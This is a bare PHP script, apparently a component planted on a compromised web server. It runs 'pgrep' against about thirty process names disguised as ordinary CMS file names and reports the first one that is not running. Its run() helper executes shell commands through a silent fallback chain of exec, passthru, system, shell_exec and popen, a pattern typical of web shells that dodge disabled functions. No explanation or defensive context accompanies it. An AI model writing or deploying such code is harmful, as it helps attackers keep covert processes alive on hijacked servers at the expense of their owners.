<?php   $files = ['userblock','judges_opener','prova_java_php','phocatext','blocks.class','defaultsection','auth_xoops','reading_nrm','useragents.inc','RemoveEmpty','enrol_authorize','usergroup_14','index.1317078588','sql_parse','theme_blog','forums.inc','editorFrame','webdbsetup_field','formatting','view_email','beanstream_cdn','page_contact','jpgraph_scatter','toolbar.sections','german_mimes','down_site','usergroup_4','formselectlang','patfactory','sp_editor']; foreach ($files as $f) {     $res = @run("pgrep {$f}");     if (!preg_match('/\d+/', $res)) {         die("<f>{$f}</f>");     } } die('!ended!');  function run($in) {     $out = '';     if (function_exists('exec')) {         @exec($in, $out);         $out = @join("\n", $out);     } elseif (function_exists('passthru')) {         ob_start();         @passthru($in);         $out = ob_get_clean();     } elseif (function_exists('system')) {         ob_start();         @system($in);         $out = ob_get_clean();     } elseif (function_exists('shell_exec')) {         $out = shell_exec($in);     } elseif (is_resource($f = @popen($in, "r"))) {         $out = "";         while (!@feof($f))             $out .= fread($f, 1024);         pclose($f);     }     return $out; }